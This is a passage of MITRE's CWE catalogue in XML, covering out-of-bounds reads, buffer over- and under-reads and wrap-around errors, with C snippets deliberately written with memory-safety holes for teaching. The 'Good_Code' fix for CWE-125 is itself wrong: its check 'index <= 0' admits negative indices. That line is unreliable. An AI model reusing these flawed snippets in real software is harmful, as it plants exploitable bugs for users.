						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-100">
					          <Intro_Text>In the following code, the method retrieves a value from an array at
						a specific array index location that is given as an input parameter to the
						method</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int getValueFromArray(int *array, int len, int index) {</Code>
							              <Block>
								                <Code/>
								                <Code>int value;</Code>
								                <Code/>
								                <Comment>// check that the array index is less than the
									maximum</Comment>
								                <Comment>// length of the array</Comment>
								                <Code>if (index &lt; len) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// get the value at the specified index of the
										array</Comment>
									                  <Code>value = array[index];</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>// if array index is invalid then output error
									message</Comment>
								                <Comment>// and return value indicating error</Comment>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Value is: %d\n", array[index]);</Code>
									                  <Code>value = -1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return value;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, this method only verifies that the given array index is less
							than the maximum length of the array but does not check for the minimum
							value (CWE-839). This will allow a negative value to be accepted as the
							input array index, which will result in a out of bounds read (CWE-125)
							and may allow access to sensitive memory. The input array index should
							be checked to verify that is within the maximum and minimum range
							required for the array (CWE-129). In this example the if statement
							should be modified to include a minimum range check, as shown
							below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code/>
							              <Code>...</Code>
							              <Code/>
							              <Comment>// check that the array index is within the correct</Comment>
							              <Comment>// range of values for the array</Comment>
							              <Code>if (index &lt;= 0 &amp;&amp; index &lt; len) {</Code>
							              <Code/>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0112</Observed_Example_Reference>
					          <Observed_Example_Description>out-of-bounds read due to improper length
						check</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0183</Observed_Example_Reference>
					          <Observed_Example_Description>packet with large number of specified elements
						cause out-of-bounds read.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0221</Observed_Example_Reference>
					          <Observed_Example_Description>packet with large number of specified elements
						cause out-of-bounds read.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0184</Observed_Example_Reference>
					          <Observed_Example_Description>out-of-bounds read, resultant from integer
						underflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1940</Observed_Example_Reference>
					          <Observed_Example_Description>large length value causes out-of-bounds
						read</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0421</Observed_Example_Reference>
					          <Observed_Example_Description>malformed image causes out-of-bounds
						read</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied and under-reported. Most issues are probably labeled as
						buffer overflows.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Out-of-bounds Read</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="126" Name="Buffer Over-read" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary> The software reads from a buffer using buffer access
					mechanisms such as indexes or pointers that reference memory locations after the
					targeted buffer.</Description_Summary>
				        <Extended_Description>
					          <Text>This typically occurs when the pointer or its index is incremented to a
						position beyond the bounds of the buffer or when pointer arithmetic results
						in a position outside of the valid memory location to name a few. This may
						result in exposure of sensitive information or possibly a crash. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>125</Relationship_Target_ID>
					          <!--Out-of-bounds Read-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>788</Relationship_Target_ID>
					          <!--Access of Memory Location After End of Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>These problems may be resultant from missing sentinel values (CWE-463) or
						trusting a user-influenced input length variable.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-91">
					          <Intro_Text>In the following C/C++ example the method processMessageFromSocket()
						will get a message from a socket, placed into a buffer, and will parse the
						contents of the buffer into a structure that contains the message length and
						the message body. A for loop is used to copy the message body into a local
						character string which will be passed to another method for
						processing.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int processMessageFromSocket(int socket) {</Code>
							              <Block>
								                <Code>int success;</Code>
								                <Code/>
								                <Code>char buffer[BUFFER_SIZE];</Code>
								                <Code>char message[MESSAGE_SIZE];</Code>
								                <Code/>
								                <Comment>// get message from socket and store into buffer</Comment>
								                <Comment>//Ignoring possibliity that buffer &gt;
									BUFFER_SIZE</Comment>
								                <Code>if (getMessage(socket, buffer, BUFFER_SIZE) &gt; 0) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// place contents of the buffer into message
										structure</Comment>
									                  <Code>ExMessage *msg = recastBuffer(buffer);</Code>
									                  <Code/>
									                  <Comment>// copy message body into string for
										processing</Comment>
									                  <Code>int index; </Code>
									                  <Code>for (index = 0; index &lt; msg-&gt;msgLength; index++)
										{</Code>
									                  <Block>
										                    <Code>message[index] = msg-&gt;msgBody[index];</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>message[index] = '\0';</Code>
									                  <Code/>
									                  <Comment>// process message</Comment>
									                  <Code>success = processMessage(message);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return success;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the message length variable from the structure is used as the
							condition for ending the for loop without validating that the message
							length variable accurately reflects the length of message body. This can
							result in a buffer over read by reading from memory beyond the bounds of
							the buffer if the message length variable indicates a length that is
							longer than the size of a message body (CWE-130).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Buffer over-read</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="127" Name="Buffer Under-read" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary> The software reads from a buffer using buffer access
					mechanisms such as indexes or pointers that reference memory locations prior to
					the targeted buffer. </Description_Summary>
				        <Extended_Description>
					          <Text> This typically occurs when the pointer or its index is decremented to a
						position before the buffer, when pointer arithmetic results in a position
						before the beginning of the valid memory location, or when a negative index
						is used. This may result in exposure of sensitive information or possibly a
						crash. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>125</Relationship_Target_ID>
					          <!--Out-of-bounds Read-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>786</Relationship_Target_ID>
					          <!--Access of Memory Location Before Start of Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Buffer under-read</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="128" Name="Wrap-around Error" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Wrap around errors occur whenever a value is incremented past
					the maximum value for its type and therefore "wraps around" to a very small,
					negative, or undefined value.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>190</Relationship_Target_ID>
					          <!--Integer Overflow or Wraparound-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The relationship between overflow and wrap-around needs to be examined
						more closely, since several entries (including CWE-190) are closely
						related.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Due to how addition is performed by computers, if a primitive is
						incremented past the maximum value possible for its storage space, the
						system will not recognize this, and therefore increment each bit as if it
						still had extra space. Because of how negative numbers are represented in
						binary, primitives interpreted as signed may "wrap" to very large negative
						values.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness will generally lead to undefined behavior and therefore
							crashes. In the case of overflows involving loop index variables, the
							likelihood of infinite loops is also high.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the value in question is important to data (as opposed to flow),
							simple data corruption has occurred. Also, if the wrap around results in
							other conditions such as buffer overflows, further memory corruption may
							occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can sometimes trigger buffer overflows which can be used
							to execute arbitrary code. This is usually outside the scope of a
							program's implicit security policy.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Requirements specification: The choice could be made to use a language
							that is not susceptible to these issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Provide clear upper and lower bounds on the scale of any protocols
							designed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Place sanity checks on all incremented variables to ensure that they
							remain within reasonable bounds.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-33">
					          <Intro_Text>The following image processing code allocates a table for
						images.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>img_t table_ptr; /*struct containing img data, 10kB each*/</Code>
							              <Code>int num_imgs;</Code>
							              <Code>...</Code>
							              <Code>num_imgs = get_num_imgs();</Code>
							              <Code>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code intends to allocate a table of size num_imgs, however as
							num_imgs grows large, the calculation determining the size of the list
							will eventually overflow (CWE-190). This will result in a very small
							list to be allocated instead. If the subsequent code operates on the
							list as if it were num_imgs long, it may result in many types of
							out-of-bounds problems (CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Signed Integer Boundaries", Page
						220.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Wrap-around error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that the arguments to calloc(), when multiplied, can be
						represented as a size_t</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM07-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that the arguments to calloc(), when multiplied, can be
						represented as a size_t</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM07-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>92</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Background_Details,
						Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Background_Details</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="129" Name="Improper Validation of Array Index" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses untrusted input when calculating or using an
					array index, but the product does not validate or incorrectly validates the
					index to ensure the index references a valid position within the array.
				</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
